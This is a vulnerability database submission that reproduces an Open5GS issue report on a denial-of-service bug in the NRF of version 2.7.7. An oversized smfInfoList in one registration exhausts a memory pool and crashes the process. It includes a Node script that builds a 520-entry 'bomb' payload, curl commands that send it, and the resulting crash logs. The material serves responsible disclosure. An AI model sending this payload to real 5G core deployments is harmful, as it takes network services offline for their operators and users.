Soumettre #808515: Open5gs NRF v2.7.7 Denial of Serviceinformation

TitreOpen5gs NRF v2.7.7 Denial of Service
Description### Open5GS Release, Revision, or Tag v2.7.7 ### Steps to reproduce ### Description NRF aborts when a valid NF registration contains an oversized `smfInfoList` map. This is not the already-documented `smfInfo.sNssaiSmfInfoList[*].dnnSmfInfoList` fixed-array assertion. Here the crash comes earlier, because `ogs_nnrf_nfm_handle_nf_profile()` iterates over every `smfInfoList` entry and calls `handle_smf_info()` once per entry: ```c OpenAPI_list_for_each(NFProfile->smf_info_list, node) { OpenAPI_map_t *SmfInfoMap = node->data; if (SmfInfoMap && SmfInfoMap->value) handle_smf_info(nf_instance, SmfInfoMap->value); } ``` `handle_smf_info()` allocates one `ogs_sbi_nf_info_t` per entry and asserts if the fixed `nf_info_pool` is exhausted: ```c nf_info = ogs_sbi_nf_info_add(&nf_instance->nf_info_list, OpenAPI_nf_type_SMF); ogs_assert(nf_info); ``` `ogs_sbi_nf_info_add()` logs a fatal allocation failure and returns `NULL`: ```c ogs_pool_alloc(&nf_info_pool, &nf_info); if (!nf_info) { ogs_fatal("ogs_pool_alloc() failed"); return NULL; } ``` The pool is sized as: ```c ogs_pool_init(&nf_info_pool, ogs_app()->pool.nf * OGS_MAX_NUM_OF_NF_INFO); ``` With default settings that becomes `64 * 8 = 512`. A single NF registration request with enough `smfInfoList` entries can therefore exhaust the pool and terminate NRF. ### Root cause - Entry route: `PUT /nnrf-nfm/v1/nf-instances/{nfInstanceId}` - Iteration site: `../lib/sbi/nnrf-handler.c:272-275` - Allocation site: `../lib/sbi/nnrf-handler.c:413-415` - Exact helper failure: `../lib/sbi/context.c:1674-1677` - Root cause family: resource exhaustion leading to assertion abort - Controlling field: `NFProfile.smfInfoList` ### Steps to Reproduce 1. Resolve the current NRF IP: ```bash NRF_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nrf) echo "$NRF_IP" ``` 2. Generate a small control payload and a large malicious payload: ```bash node <<'NODE' const fs = require('fs'); function smfInfoEntry(dnn) { return { sNssaiSmfInfoList: [ { sNssai: { sst: 1, sd: '000001' }, dnnSmfInfoList: [{ dnn }], }, ], }; } function makeProfile(id, count) { const smfInfoList = {}; for (let i = 0; i < count; i++) { smfInfoList[`entry-${String(i + 1).padStart(4, '0')}`] = smfInfoEntry(`dnn-${i + 1}`); } return { nfInstanceId: id, nfType: 'SMF', nfStatus: 'REGISTERED', fqdn: `${id}.example.org`, smfInfoList, }; } fs.writeFileSync('/tmp/nrf-smfinfo-list-control.json', JSON.stringify( makeProfile('66666666-6666-6666-6666-666666666666', 4) )); fs.writeFileSync('/tmp/nrf-smfinfo-list-bomb.json', JSON.stringify( makeProfile('77777777-7777-7777-7777-777777777777', 520) )); NODE ``` 3. Control case: register the NF with four `smfInfoList` entries. ```bash docker restart nrf >/dev/null sleep 2 curl --http2-prior-knowledge -sS -i -m 10 \ -X PUT "http://$NRF_IP/nnrf-nfm/v1/nf-instances/66666666-6666-6666-6666-666666666666" \ -H 'content-type: application/json' \ --data @/tmp/nrf-smfinfo-list-control.json ``` 4. Malicious case: restart NRF and send the oversized `smfInfoList` profile. ```bash start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ) docker restart nrf >/dev/null sleep 2 curl --http2-prior-knowledge -sS -i -m 10 \ -X PUT "http://$NRF_IP/nnrf-nfm/v1/nf-instances/77777777-7777-7777-7777-777777777777" \ -H 'content-type: application/json' \ --data @/tmp/nrf-smfinfo-list-bomb.json docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf docker logs --since "$start_ts" nrf 2>&1 | tail -n 20 ``` ### Logs ```shell Control response: HTTP/2 201 Malicious client-visible failure: curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream Container state after the crash: exited 139 2026-04-12T06:23:56.878437103Z 0 NRF logs: 04/12 06:23:56.792: [sbi] FATAL: ogs_pool_alloc() failed (../lib/sbi/context.c:1676) 04/12 06:23:56.792: [sbi] FATAL: handle_smf_info: Assertion `nf_info' failed. (../lib/sbi/nnrf-handler.c:415) 04/12 06:23:56.792: [core] FATAL: backtrace() returned 12 addresses (../lib/core/ogs-abort.c:37) ``` ### Expected behaviour NRF should reject unreasonably large `smfInfoList` collections with a normal HTTP error and remain running. ### Observed Behaviour A single valid NF registration containing an oversized `smfInfoList` map terminates the NRF process with exit code `139`. ### eNodeB/gNodeB Not required. ### UE Models and versions Not required.
La source⚠️ https://github.com/open5gs/open5gs/issues/4463
Utilisateur
 LinJu (UID 97503)
Soumission20/04/2026 21:54 (il y a 1 mois)
Modérer16/05/2026 12:09 (26 days later)
StatutDupliqué
Entrée VulDB362588 [Open5GS jusqu’à 2.7.7 NRF lib/sbi/nnrf-handler.c ogs_nnrf_nfm_handle_nf_profile déni de service]
Points0

Do you want to use VulDB in your project?

Use the official API to access entries easily!